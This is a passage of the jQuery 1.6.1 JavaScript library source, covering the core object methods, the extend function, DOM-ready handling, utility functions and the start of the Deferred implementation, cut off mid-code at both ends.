quickExpr.exec( selector );\n\t\t\t}\n\n\t\t\t// Verify a match, and that no context was specified for #id\n\t\t\tif ( match && (match[1] || !context) ) {\n\n\t\t\t\t// HANDLE: $(html) -> $(array)\n\t\t\t\tif ( match[1] ) {\n\t\t\t\t\tcontext = context instanceof jQuery ? context[0] : context;\n\t\t\t\t\tdoc = (context ? context.ownerDocument || context : document);\n\n\t\t\t\t\t// If a single string is passed in and it's a single tag\n\t\t\t\t\t// just do a createElement and skip the rest\n\t\t\t\t\tret = rsingleTag.exec( selector );\n\n\t\t\t\t\tif ( ret ) {\n\t\t\t\t\t\tif ( jQuery.isPlainObject( context ) ) {\n\t\t\t\t\t\t\tselector = [ document.createElement( ret[1] ) ];\n\t\t\t\t\t\t\tjQuery.fn.attr.call( selector, context, true );\n\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tselector = [ doc.createElement( ret[1] ) ];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t} else {\n\t\t\t\t\t\tret = jQuery.buildFragment( [ match[1] ], [ doc ] );\n\t\t\t\t\t\tselector = (ret.cacheable ? jQuery.clone(ret.fragment) : ret.fragment).childNodes;\n\t\t\t\t\t}\n\n\t\t\t\t\treturn jQuery.merge( this, selector );\n\n\t\t\t\t// HANDLE: $(\"#id\")\n\t\t\t\t} else {\n\t\t\t\t\telem = document.getElementById( match[2] );\n\n\t\t\t\t\t// Check parentNode to catch when Blackberry 4.6 returns\n\t\t\t\t\t// nodes that are no longer in the document #6963\n\t\t\t\t\tif ( elem && elem.parentNode ) {\n\t\t\t\t\t\t// Handle the case where IE and Opera return items\n\t\t\t\t\t\t// by name instead of ID\n\t\t\t\t\t\tif ( elem.id !== match[2] ) {\n\t\t\t\t\t\t\treturn rootjQuery.find( selector );\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// Otherwise, we inject the element directly into the jQuery object\n\t\t\t\t\t\tthis.length = 1;\n\t\t\t\t\t\tthis[0] = elem;\n\t\t\t\t\t}\n\n\t\t\t\t\tthis.context = document;\n\t\t\t\t\tthis.selector = selector;\n\t\t\t\t\treturn this;\n\t\t\t\t}\n\n\t\t\t// HANDLE: $(expr, $(...))\n\t\t\t} else if ( !context || context.jquery ) {\n\t\t\t\treturn (context || rootjQuery).find( selector );\n\n\t\t\t// HANDLE: $(expr, context)\n\t\t\t// (which is just equivalent to: $(context).find(expr)\n\t\t\t} else {\n\t\t\t\treturn this.constructor( context ).find( selector );\n\t\t\t}\n\n\t\t// HANDLE: $(function)\n\t\t// Shortcut for document ready\n\t\t} else if ( jQuery.isFunction( selector ) ) {\n\t\t\treturn rootjQuery.ready( selector );\n\t\t}\n\n\t\tif (selector.selector !== undefined) {\n\t\t\tthis.selector = selector.selector;\n\t\t\tthis.context = selector.context;\n\t\t}\n\n\t\treturn jQuery.makeArray( selector, this );\n\t},\n\n\t// Start with an empty selector\n\tselector: \"\",\n\n\t// The current version of jQuery being used\n\tjquery: \"1.6.1\",\n\n\t// The default length of a jQuery object is 0\n\tlength: 0,\n\n\t// The number of elements contained in the matched element set\n\tsize: function() {\n\t\treturn this.length;\n\t},\n\n\ttoArray: function() {\n\t\treturn slice.call( this, 0 );\n\t},\n\n\t// Get the Nth element in the matched element set OR\n\t// Get the whole matched element set as a clean array\n\tget: function( num ) {\n\t\treturn num == null ?\n\n\t\t\t// Return a 'clean' array\n\t\t\tthis.toArray() :\n\n\t\t\t// Return just the object\n\t\t\t( num < 0 ? this[ this.length + num ] : this[ num ] );\n\t},\n\n\t// Take an array of elements and push it onto the stack\n\t// (returning the new matched element set)\n\tpushStack: function( elems, name, selector ) {\n\t\t// Build a new jQuery matched element set\n\t\tvar ret = this.constructor();\n\n\t\tif ( jQuery.isArray( elems ) ) {\n\t\t\tpush.apply( ret, elems );\n\n\t\t} else {\n\t\t\tjQuery.merge( ret, elems );\n\t\t}\n\n\t\t// Add the old object onto the stack (as a reference)\n\t\tret.prevObject = this;\n\n\t\tret.context = this.context;\n\n\t\tif ( name === \"find\" ) {\n\t\t\tret.selector = this.selector + (this.selector ? \" \" : \"\") + selector;\n\t\t} else if ( name ) {\n\t\t\tret.selector = this.selector + \".\" + name + \"(\" + selector + \")\";\n\t\t}\n\n\t\t// Return the newly-formed element set\n\t\treturn ret;\n\t},\n\n\t// Execute a callback for every element in the matched set.\n\t// (You can seed the arguments with an array of args, but this is\n\t// only used internally.)\n\teach: function( callback, args ) {\n\t\treturn jQuery.each( this, callback, args );\n\t},\n\n\tready: function( fn ) {\n\t\t// Attach the listeners\n\t\tjQuery.bindReady();\n\n\t\t// Add the callback\n\t\treadyList.done( fn );\n\n\t\treturn this;\n\t},\n\n\teq: function( i ) {\n\t\treturn i === -1 ?\n\t\t\tthis.slice( i ) :\n\t\t\tthis.slice( i, +i + 1 );\n\t},\n\n\tfirst: function() {\n\t\treturn this.eq( 0 );\n\t},\n\n\tlast: function() {\n\t\treturn this.eq( -1 );\n\t},\n\n\tslice: function() {\n\t\treturn this.pushStack( slice.apply( this, arguments ),\n\t\t\t\"slice\", slice.call(arguments).join(\",\") );\n\t},\n\n\tmap: function( callback ) {\n\t\treturn this.pushStack( jQuery.map(this, function( elem, i ) {\n\t\t\treturn callback.call( elem, i, elem );\n\t\t}));\n\t},\n\n\tend: function() {\n\t\treturn this.prevObject || this.constructor(null);\n\t},\n\n\t// For internal use only.\n\t// Behaves like an Array's method, not like a jQuery method.\n\tpush: push,\n\tsort: [].sort,\n\tsplice: [].splice\n};\n\n// Give the init function the jQuery prototype for later instantiation\njQuery.fn.init.prototype = jQuery.fn;\n\njQuery.extend = jQuery.fn.extend = function() {\n\tvar options, name, src, copy, copyIsArray, clone,\n\t\ttarget = arguments[0] || {},\n\t\ti = 1,\n\t\tlength = arguments.length,\n\t\tdeep = false;\n\n\t// Handle a deep copy situation\n\tif ( typeof target === \"boolean\" ) {\n\t\tdeep = target;\n\t\ttarget = arguments[1] || {};\n\t\t// skip the boolean and the target\n\t\ti = 2;\n\t}\n\n\t// Handle case when target is a string or something (possible in deep copy)\n\tif ( typeof target !== \"object\" && !jQuery.isFunction(target) ) {\n\t\ttarget = {};\n\t}\n\n\t// extend jQuery itself if only one argument is passed\n\tif ( length === i ) {\n\t\ttarget = this;\n\t\t--i;\n\t}\n\n\tfor ( ; i < length; i++ ) {\n\t\t// Only deal with non-null/undefined values\n\t\tif ( (options = arguments[ i ]) != null ) {\n\t\t\t// Extend the base object\n\t\t\tfor ( name in options ) {\n\t\t\t\tsrc = target[ name ];\n\t\t\t\tcopy = options[ name ];\n\n\t\t\t\t// Prevent never-ending loop\n\t\t\t\tif ( target === copy ) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\t// Recurse if we're merging plain objects or arrays\n\t\t\t\tif ( deep && copy && ( jQuery.isPlainObject(copy) || (copyIsArray = jQuery.isArray(copy)) ) ) {\n\t\t\t\t\tif ( copyIsArray ) {\n\t\t\t\t\t\tcopyIsArray = false;\n\t\t\t\t\t\tclone = src && jQuery.isArray(src) ? src : [];\n\n\t\t\t\t\t} else {\n\t\t\t\t\t\tclone = src && jQuery.isPlainObject(src) ? src : {};\n\t\t\t\t\t}\n\n\t\t\t\t\t// Never move original objects, clone them\n\t\t\t\t\ttarget[ name ] = jQuery.extend( deep, clone, copy );\n\n\t\t\t\t// Don't bring in undefined values\n\t\t\t\t} else if ( copy !== undefined ) {\n\t\t\t\t\ttarget[ name ] = copy;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// Return the modified object\n\treturn target;\n};\n\njQuery.extend({\n\tnoConflict: function( deep ) {\n\t\tif ( window.$ === jQuery ) {\n\t\t\twindow.$ = _$;\n\t\t}\n\n\t\tif ( deep && window.jQuery === jQuery ) {\n\t\t\twindow.jQuery = _jQuery;\n\t\t}\n\n\t\treturn jQuery;\n\t},\n\n\t// Is the DOM ready to be used? Set to true once it occurs.\n\tisReady: false,\n\n\t// A counter to track how many items to wait for before\n\t// the ready event fires. See #6781\n\treadyWait: 1,\n\n\t// Hold (or release) the ready event\n\tholdReady: function( hold ) {\n\t\tif ( hold ) {\n\t\t\tjQuery.readyWait++;\n\t\t} else {\n\t\t\tjQuery.ready( true );\n\t\t}\n\t},\n\n\t// Handle when the DOM is ready\n\tready: function( wait ) {\n\t\t// Either a released hold or an DOMready/load event and not yet ready\n\t\tif ( (wait === true && !--jQuery.readyWait) || (wait !== true && !jQuery.isReady) ) {\n\t\t\t// Make sure body exists, at least, in case IE gets a little overzealous (ticket #5443).\n\t\t\tif ( !document.body ) {\n\t\t\t\treturn setTimeout( jQuery.ready, 1 );\n\t\t\t}\n\n\t\t\t// Remember that the DOM is ready\n\t\t\tjQuery.isReady = true;\n\n\t\t\t// If a normal DOM Ready event fired, decrement, and wait if need be\n\t\t\tif ( wait !== true && --jQuery.readyWait > 0 ) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t// If there are functions bound, to execute\n\t\t\treadyList.resolveWith( document, [ jQuery ] );\n\n\t\t\t// Trigger any bound ready events\n\t\t\tif ( jQuery.fn.trigger ) {\n\t\t\t\tjQuery( document ).trigger( \"ready\" ).unbind( \"ready\" );\n\t\t\t}\n\t\t}\n\t},\n\n\tbindReady: function() {\n\t\tif ( readyList ) {\n\t\t\treturn;\n\t\t}\n\n\t\treadyList = jQuery._Deferred();\n\n\t\t// Catch cases where $(document).ready() is called after the\n\t\t// browser event has already occurred.\n\t\tif ( document.readyState === \"complete\" ) {\n\t\t\t// Handle it asynchronously to allow scripts the opportunity to delay ready\n\t\t\treturn setTimeout( jQuery.ready, 1 );\n\t\t}\n\n\t\t// Mozilla, Opera and webkit nightlies currently support this event\n\t\tif ( document.addEventListener ) {\n\t\t\t// Use the handy event callback\n\t\t\tdocument.addEventListener( \"DOMContentLoaded\", DOMContentLoaded, false );\n\n\t\t\t// A fallback to window.onload, that will always work\n\t\t\twindow.addEventListener( \"load\", jQuery.ready, false );\n\n\t\t// If IE event model is used\n\t\t} else if ( document.attachEvent ) {\n\t\t\t// ensure firing before onload,\n\t\t\t// maybe late but safe also for iframes\n\t\t\tdocument.attachEvent( \"onreadystatechange\", DOMContentLoaded );\n\n\t\t\t// A fallback to window.onload, that will always work\n\t\t\twindow.attachEvent( \"onload\", jQuery.ready );\n\n\t\t\t// If IE and not a frame\n\t\t\t// continually check to see if the document is ready\n\t\t\tvar toplevel = false;\n\n\t\t\ttry {\n\t\t\t\ttoplevel = window.frameElement == null;\n\t\t\t} catch(e) {}\n\n\t\t\tif ( document.documentElement.doScroll && toplevel ) {\n\t\t\t\tdoScrollCheck();\n\t\t\t}\n\t\t}\n\t},\n\n\t// See test/unit/core.js for details concerning isFunction.\n\t// Since version 1.3, DOM methods and functions like alert\n\t// aren't supported. They return false on IE (#2968).\n\tisFunction: function( obj ) {\n\t\treturn jQuery.type(obj) === \"function\";\n\t},\n\n\tisArray: Array.isArray || function( obj ) {\n\t\treturn jQuery.type(obj) === \"array\";\n\t},\n\n\t// A crude way of determining if an object is a window\n\tisWindow: function( obj ) {\n\t\treturn obj && typeof obj === \"object\" && \"setInterval\" in obj;\n\t},\n\n\tisNaN: function( obj ) {\n\t\treturn obj == null || !rdigit.test( obj ) || isNaN( obj );\n\t},\n\n\ttype: function( obj ) {\n\t\treturn obj == null ?\n\t\t\tString( obj ) :\n\t\t\tclass2type[ toString.call(obj) ] || \"object\";\n\t},\n\n\tisPlainObject: function( obj ) {\n\t\t// Must be an Object.\n\t\t// Because of IE, we also have to check the presence of the constructor property.\n\t\t// Make sure that DOM nodes and window objects don't pass through, as well\n\t\tif ( !obj || jQuery.type(obj) !== \"object\" || obj.nodeType || jQuery.isWindow( obj ) ) {\n\t\t\treturn false;\n\t\t}\n\n\t\t// Not own constructor property must be Object\n\t\tif ( obj.constructor &&\n\t\t\t!hasOwn.call(obj, \"constructor\") &&\n\t\t\t!hasOwn.call(obj.constructor.prototype, \"isPrototypeOf\") ) {\n\t\t\treturn false;\n\t\t}\n\n\t\t// Own properties are enumerated firstly, so to speed up,\n\t\t// if last one is own, then all properties are own.\n\n\t\tvar key;\n\t\tfor ( key in obj ) {}\n\n\t\treturn key === undefined || hasOwn.call( obj, key );\n\t},\n\n\tisEmptyObject: function( obj ) {\n\t\tfor ( var name in obj ) {\n\t\t\treturn false;\n\t\t}\n\t\treturn true;\n\t},\n\n\terror: function( msg ) {\n\t\tthrow msg;\n\t},\n\n\tparseJSON: function( data ) {\n\t\tif ( typeof data !== \"string\" || !data ) {\n\t\t\treturn null;\n\t\t}\n\n\t\t// Make sure leading/trailing whitespace is removed (IE can't handle it)\n\t\tdata = jQuery.trim( data );\n\n\t\t// Attempt to parse using the native JSON parser first\n\t\tif ( window.JSON && window.JSON.parse ) {\n\t\t\treturn window.JSON.parse( data );\n\t\t}\n\n\t\t// Make sure the incoming data is actual JSON\n\t\t// Logic borrowed from http://json.org/json2.js\n\t\tif ( rvalidchars.test( data.replace( rvalidescape, \"@\" )\n\t\t\t.replace( rvalidtokens, \"]\" )\n\t\t\t.replace( rvalidbraces, \"\")) ) {\n\n\t\t\treturn (new Function( \"return \" + data ))();\n\n\t\t}\n\t\tjQuery.error( \"Invalid JSON: \" + data );\n\t},\n\n\t// Cross-browser xml parsing\n\t// (xml & tmp used internally)\n\tparseXML: function( data , xml , tmp ) {\n\n\t\tif ( window.DOMParser ) { // Standard\n\t\t\ttmp = new DOMParser();\n\t\t\txml = tmp.parseFromString( data , \"text/xml\" );\n\t\t} else { // IE\n\t\t\txml = new ActiveXObject( \"Microsoft.XMLDOM\" );\n\t\t\txml.async = \"false\";\n\t\t\txml.loadXML( data );\n\t\t}\n\n\t\ttmp = xml.documentElement;\n\n\t\tif ( ! tmp || ! tmp.nodeName || tmp.nodeName === \"parsererror\" ) {\n\t\t\tjQuery.error( \"Invalid XML: \" + data );\n\t\t}\n\n\t\treturn xml;\n\t},\n\n\tnoop: function() {},\n\n\t// Evaluates a script in a global context\n\t// Workarounds based on findings by Jim Driscoll\n\t// http://weblogs.java.net/blog/driscoll/archive/2009/09/08/eval-javascript-global-context\n\tglobalEval: function( data ) {\n\t\tif ( data && rnotwhite.test( data ) ) {\n\t\t\t// We use execScript on Internet Explorer\n\t\t\t// We use an anonymous function so that context is window\n\t\t\t// rather than jQuery in Firefox\n\t\t\t( window.execScript || function( data ) {\n\t\t\t\twindow[ \"eval\" ].call( window, data );\n\t\t\t} )( data );\n\t\t}\n\t},\n\n\tnodeName: function( elem, name ) {\n\t\treturn elem.nodeName && elem.nodeName.toUpperCase() === name.toUpperCase();\n\t},\n\n\t// args is for internal usage only\n\teach: function( object, callback, args ) {\n\t\tvar name, i = 0,\n\t\t\tlength = object.length,\n\t\t\tisObj = length === undefined || jQuery.isFunction( object );\n\n\t\tif ( args ) {\n\t\t\tif ( isObj ) {\n\t\t\t\tfor ( name in object ) {\n\t\t\t\t\tif ( callback.apply( object[ name ], args ) === false ) {\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tfor ( ; i < length; ) {\n\t\t\t\t\tif ( callback.apply( object[ i++ ], args ) === false ) {\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t// A special, fast, case for the most common use of each\n\t\t} else {\n\t\t\tif ( isObj ) {\n\t\t\t\tfor ( name in object ) {\n\t\t\t\t\tif ( callback.call( object[ name ], name, object[ name ] ) === false ) {\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tfor ( ; i < length; ) {\n\t\t\t\t\tif ( callback.call( object[ i ], i, object[ i++ ] ) === false ) {\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn object;\n\t},\n\n\t// Use native String.trim function wherever possible\n\ttrim: trim ?\n\t\tfunction( text ) {\n\t\t\treturn text == null ?\n\t\t\t\t\"\" :\n\t\t\t\ttrim.call( text );\n\t\t} :\n\n\t\t// Otherwise use our own trimming functionality\n\t\tfunction( text ) {\n\t\t\treturn text == null ?\n\t\t\t\t\"\" :\n\t\t\t\ttext.toString().replace( trimLeft, \"\" ).replace( trimRight, \"\" );\n\t\t},\n\n\t// results is for internal usage only\n\tmakeArray: function( array, results ) {\n\t\tvar ret = results || [];\n\n\t\tif ( array != null ) {\n\t\t\t// The window, strings (and functions) also have 'length'\n\t\t\t// The extra typeof function check is to prevent crashes\n\t\t\t// in Safari 2 (See: #3039)\n\t\t\t// Tweaked logic slightly to handle Blackberry 4.7 RegExp issues #6930\n\t\t\tvar type = jQuery.type( array );\n\n\t\t\tif ( array.length == null || type === \"string\" || type === \"function\" || type === \"regexp\" || jQuery.isWindow( array ) ) {\n\t\t\t\tpush.call( ret, array );\n\t\t\t} else {\n\t\t\t\tjQuery.merge( ret, array );\n\t\t\t}\n\t\t}\n\n\t\treturn ret;\n\t},\n\n\tinArray: function( elem, array ) {\n\n\t\tif ( indexOf ) {\n\t\t\treturn indexOf.call( array, elem );\n\t\t}\n\n\t\tfor ( var i = 0, length = array.length; i < length; i++ ) {\n\t\t\tif ( array[ i ] === elem ) {\n\t\t\t\treturn i;\n\t\t\t}\n\t\t}\n\n\t\treturn -1;\n\t},\n\n\tmerge: function( first, second ) {\n\t\tvar i = first.length,\n\t\t\tj = 0;\n\n\t\tif ( typeof second.length === \"number\" ) {\n\t\t\tfor ( var l = second.length; j < l; j++ ) {\n\t\t\t\tfirst[ i++ ] = second[ j ];\n\t\t\t}\n\n\t\t} else {\n\t\t\twhile ( second[j] !== undefined ) {\n\t\t\t\tfirst[ i++ ] = second[ j++ ];\n\t\t\t}\n\t\t}\n\n\t\tfirst.length = i;\n\n\t\treturn first;\n\t},\n\n\tgrep: function( elems, callback, inv ) {\n\t\tvar ret = [], retVal;\n\t\tinv = !!inv;\n\n\t\t// Go through the array, only saving the items\n\t\t// that pass the validator function\n\t\tfor ( var i = 0, length = elems.length; i < length; i++ ) {\n\t\t\tretVal = !!callback( elems[ i ], i );\n\t\t\tif ( inv !== retVal ) {\n\t\t\t\tret.push( elems[ i ] );\n\t\t\t}\n\t\t}\n\n\t\treturn ret;\n\t},\n\n\t// arg is for internal usage only\n\tmap: function( elems, callback, arg ) {\n\t\tvar value, key, ret = [],\n\t\t\ti = 0,\n\t\t\tlength = elems.length,\n\t\t\t// jquery objects are treated as arrays\n\t\t\tisArray = elems instanceof jQuery || length !== undefined && typeof length === \"number\" && ( ( length > 0 && elems[ 0 ] && elems[ length -1 ] ) || length === 0 || jQuery.isArray( elems ) ) ;\n\n\t\t// Go through the array, translating each of the items to their\n\t\tif ( isArray ) {\n\t\t\tfor ( ; i < length; i++ ) {\n\t\t\t\tvalue = callback( elems[ i ], i, arg );\n\n\t\t\t\tif ( value != null ) {\n\t\t\t\t\tret[ ret.length ] = value;\n\t\t\t\t}\n\t\t\t}\n\n\t\t// Go through every key on the object,\n\t\t} else {\n\t\t\tfor ( key in elems ) {\n\t\t\t\tvalue = callback( elems[ key ], key, arg );\n\n\t\t\t\tif ( value != null ) {\n\t\t\t\t\tret[ ret.length ] = value;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Flatten any nested arrays\n\t\treturn ret.concat.apply( [], ret );\n\t},\n\n\t// A global GUID counter for objects\n\tguid: 1,\n\n\t// Bind a function to a context, optionally partially applying any\n\t// arguments.\n\tproxy: function( fn, context ) {\n\t\tif ( typeof context === \"string\" ) {\n\t\t\tvar tmp = fn[ context ];\n\t\t\tcontext = fn;\n\t\t\tfn = tmp;\n\t\t}\n\n\t\t// Quick check to determine if target is callable, in the spec\n\t\t// this throws a TypeError, but we will just return undefined.\n\t\tif ( !jQuery.isFunction( fn ) ) {\n\t\t\treturn undefined;\n\t\t}\n\n\t\t// Simulated bind\n\t\tvar args = slice.call( arguments, 2 ),\n\t\t\tproxy = function() {\n\t\t\t\treturn fn.apply( context, args.concat( slice.call( arguments ) ) );\n\t\t\t};\n\n\t\t// Set the guid of unique handler to the same of original handler, so it can be removed\n\t\tproxy.guid = fn.guid = fn.guid || proxy.guid || jQuery.guid++;\n\n\t\treturn proxy;\n\t},\n\n\t// Mutifunctional method to get and set values to a collection\n\t// The value/s can be optionally by executed if its a function\n\taccess: function( elems, key, value, exec, fn, pass ) {\n\t\tvar length = elems.length;\n\n\t\t// Setting many attributes\n\t\tif ( typeof key === \"object\" ) {\n\t\t\tfor ( var k in key ) {\n\t\t\t\tjQuery.access( elems, k, key[k], exec, fn, value );\n\t\t\t}\n\t\t\treturn elems;\n\t\t}\n\n\t\t// Setting one attribute\n\t\tif ( value !== undefined ) {\n\t\t\t// Optionally, function values get executed if exec is true\n\t\t\texec = !pass && exec && jQuery.isFunction(value);\n\n\t\t\tfor ( var i = 0; i < length; i++ ) {\n\t\t\t\tfn( elems[i], key, exec ? value.call( elems[i], i, fn( elems[i], key ) ) : value, pass );\n\t\t\t}\n\n\t\t\treturn elems;\n\t\t}\n\n\t\t// Getting an attribute\n\t\treturn length ? fn( elems[0], key ) : undefined;\n\t},\n\n\tnow: function() {\n\t\treturn (new Date()).getTime();\n\t},\n\n\t// Use of jQuery.browser is frowned upon.\n\t// More details: http://docs.jquery.com/Utilities/jQuery.browser\n\tuaMatch: function( ua ) {\n\t\tua = ua.toLowerCase();\n\n\t\tvar match = rwebkit.exec( ua ) ||\n\t\t\tropera.exec( ua ) ||\n\t\t\trmsie.exec( ua ) ||\n\t\t\tua.indexOf(\"compatible\") < 0 && rmozilla.exec( ua ) ||\n\t\t\t[];\n\n\t\treturn { browser: match[1] || \"\", version: match[2] || \"0\" };\n\t},\n\n\tsub: function() {\n\t\tfunction jQuerySub( selector, context ) {\n\t\t\treturn new jQuerySub.fn.init( selector, context );\n\t\t}\n\t\tjQuery.extend( true, jQuerySub, this );\n\t\tjQuerySub.superclass = this;\n\t\tjQuerySub.fn = jQuerySub.prototype = this();\n\t\tjQuerySub.fn.constructor = jQuerySub;\n\t\tjQuerySub.sub = this.sub;\n\t\tjQuerySub.fn.init = function init( selector, context ) {\n\t\t\tif ( context && context instanceof jQuery && !(context instanceof jQuerySub) ) {\n\t\t\t\tcontext = jQuerySub( context );\n\t\t\t}\n\n\t\t\treturn jQuery.fn.init.call( this, selector, context, rootjQuerySub );\n\t\t};\n\t\tjQuerySub.fn.init.prototype = jQuerySub.fn;\n\t\tvar rootjQuerySub = jQuerySub(document);\n\t\treturn jQuerySub;\n\t},\n\n\tbrowser: {}\n});\n\n// Populate the class2type map\njQuery.each(\"Boolean Number String Function Array Date RegExp Object\".split(\" \"), function(i, name) {\n\tclass2type[ \"[object \" + name + \"]\" ] = name.toLowerCase();\n});\n\nbrowserMatch = jQuery.uaMatch( userAgent );\nif ( browserMatch.browser ) {\n\tjQuery.browser[ browserMatch.browser ] = true;\n\tjQuery.browser.version = browserMatch.version;\n}\n\n// Deprecated, use jQuery.browser.webkit instead\nif ( jQuery.browser.webkit ) {\n\tjQuery.browser.safari = true;\n}\n\n// IE doesn't match non-breaking spaces with \\s\nif ( rnotwhite.test( \"\\xA0\" ) ) {\n\ttrimLeft = /^[\\s\\xA0]+/;\n\ttrimRight = /[\\s\\xA0]+$/;\n}\n\n// All jQuery objects should point back to these\nrootjQuery = jQuery(document);\n\n// Cleanup functions for the document ready method\nif ( document.addEventListener ) {\n\tDOMContentLoaded = function() {\n\t\tdocument.removeEventListener( \"DOMContentLoaded\", DOMContentLoaded, false );\n\t\tjQuery.ready();\n\t};\n\n} else if ( document.attachEvent ) {\n\tDOMContentLoaded = function() {\n\t\t// Make sure body exists, at least, in case IE gets a little overzealous (ticket #5443).\n\t\tif ( document.readyState === \"complete\" ) {\n\t\t\tdocument.detachEvent( \"onreadystatechange\", DOMContentLoaded );\n\t\t\tjQuery.ready();\n\t\t}\n\t};\n}\n\n// The DOM ready check for Internet Explorer\nfunction doScrollCheck() {\n\tif ( jQuery.isReady ) {\n\t\treturn;\n\t}\n\n\ttry {\n\t\t// If IE is used, use the trick by Diego Perini\n\t\t// http://javascript.nwbox.com/IEContentLoaded/\n\t\tdocument.documentElement.doScroll(\"left\");\n\t} catch(e) {\n\t\tsetTimeout( doScrollCheck, 1 );\n\t\treturn;\n\t}\n\n\t// and execute any waiting functions\n\tjQuery.ready();\n}\n\n// Expose jQuery to the global object\nreturn jQuery;\n\n})();\n\n\nvar // Promise methods\n\tpromiseMethods = \"done fail isResolved isRejected promise then always pipe\".split( \" \" ),\n\t// Static reference to slice\n\tsliceDeferred = [].slice;\n\njQuery.extend({\n\t// Create a simple deferred (one callbacks list)\n\t_Deferred: function() {\n\t\tvar // callbacks list\n\t\t\tcallbacks = [],\n\t\t\t// stored [ context , args ]\n\t\t\tfired,\n\t\t\t// to avoid firing when already doing so\n\t\t\tfiring,\n\t\t\t// flag to know if the deferred has been cancelled\n\t\t\tcancelled,\n\t\t\t// the deferred itself\n\t\t\tdeferred  = {\n\n\t\t\t\t// done( f1, f2, ...)\n\t\t\t\tdone: function() {\n\t\t\t\t\tif ( !cancelled ) {\n\t\t\t\t\t\tvar args = arguments,\n\t\t\t\t\t\t\ti,\n\t\t\t\t\t\t\tlength,\n\t\t\t\t\t\t\telem,\n\t\t\t\t\t\t\ttype,\n\t\t\t\t\t\t\t_fired;\n\t\t\t\t\t\tif ( fired ) {\n\t\t\t\t\t\t\t_fired = fired;\n\t\t\t\t\t\t\tfired = 0;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tfor ( i = 0, length = args.length; i < length; i++ ) {\n\t\t\t\t\t\t\telem = args[ i ];\n\t\t\t\t\t\t\ttype = jQuery.type( elem );\n\t\t\t\t\t\t\tif ( type === \"array\" ) {\n\t\t\t\t\t\t\t\tdeferred.done.apply( deferred, elem );\n\t\t\t\t\t\t\t} else if ( type === \"function\" ) {\n\t\t\t\t\t\t\t\tcallbacks.push( elem );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif ( _fired ) {\n\t\t\t\t\t\t\tdeferred.resolveWith( _fired[ 0 ], _fired[ 1 ] );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\treturn this;\n\t\t\t\t},\n\n\t\t\t\t// resolve with given context and args\n\t\t\t\tresolveWith: function( context, args ) {\n\t\t\t\t\tif ( !cancelled && !fired && !firing ) {\n\t\t\t\t\t\t// make sure args are available (#8421)\n\t\t\t\t\t\targs = args || [];\n\t\t\t\t\t\tfiring = 1;\n\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\twhile( callbacks[ 0 ] ) {\n\t\t\t\t\t\t\t\tcallbacks.shift().apply( context, args );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tfinally {\n\t\t\t\t\t\t\tfired = [ context, args ];\n\t\t\t\t\t\t\tfiring = 0;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\treturn this;\n\t\t\t\t},\n\n\t\t\t\t// resolve with this as context and given arguments\n\t\t\t\tresolve: function() {\n\t\t\t\t\tdeferred.resolveWith( this, arguments );\n\t\t\t\t\treturn this;\n\t\t\t\t},\n\n\t\t\t\t// Has this deferred been resolved?\n\t\t\t\tisResolved: function() {\n\t\t\t\t\treturn !!( firing || fired );\n\t\t\t\t},\n\n\t\t\t\t// Cancel\n\t\t\t\tcancel: function() {\n\t\t\t\t\tcancelled = 1;\n\t\t\t\t\tcallbacks = [];\n\t\t\t\t\treturn this;\n\t\t\t\t}\n\t\t\t};\n\n\t\treturn deferred;\n\t},\n\n\t// Full fledged deferred (two callbacks list)\n\tDeferred: function( func ) {\n\t\tvar deferred = jQuery._Deferred(),\n\t\t\tfailDeferred = jQuery._Deferred(),\n\t\t\tpromise;\n\t\t// Add errorDeferred methods, then and promise\n\t\tjQuery.extend( deferred, {\n\t\t\tthen: function( doneCallbacks, failCallbacks ) {\n\t\t\t\tdeferred.done( doneCallbacks ).fail( failCallbacks );\n\t\t\t\treturn this;\n\t\t\t},\n\t\t\talways: function() {\n\t\t\t\treturn deferred.done.apply( deferred, arguments ).fail.apply( this, arguments );\n\t\t\t},\n\t\t\tfail: failDeferred.done,\n\t\t\trejectWith: failDeferred.resolveWith,\n\t\t\treject: failDeferred.resolve,\n\t\t\tisRejected: failDeferred.isResolved,\n\t\t\tpipe: function( fnDone, fnFail ) {\n\t\t\t\treturn jQuery.Deferred(function( newDefer ) {\n\t\t\t\t\tjQuery.each( {\n\t\t\t\t\t\tdone: [ fnDone, \"resolve\" ],\n\t\t\t\t\t\tfail: [ fnFail, \"reject\" ]\n\t\t\t\t\t}, function( handler, data ) {\n\t\t\t\t\t\tvar fn = data[ 0 ],\n\t\t\t\t\t\t\taction = data[ 1 ],\n\t\t\t\t\t\t\treturned;\n\t\t\t\t\t\tif ( jQuery.isFunction( fn ) ) {\n\t\t\t\t\t\t\tdeferred[ handler ](function() {\n\t\t\t\t\t\t\t\treturned = fn.apply( this, arguments );\n\t\t\t\t\t\t\t\tif ( returned && jQuery.isFunction( returned.promise ) ) {\n\t\t\t\t\t\t\t\t\treturned.promise().then( newDefer.resolve, newDefer.reject );\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\tnewDefer[ action ]( returned );\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t});\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tdeferred[ handler ]( newDefer[ action ] );\n\t\t\t\t\t\t}\n\t\t\t\t\t});\n\t\t\t\t}).promise();\n\t\t\t},\n\t\t\t// Get a promise for this deferred\n\t\t\t// If obj is provided, the promise aspect is added to the 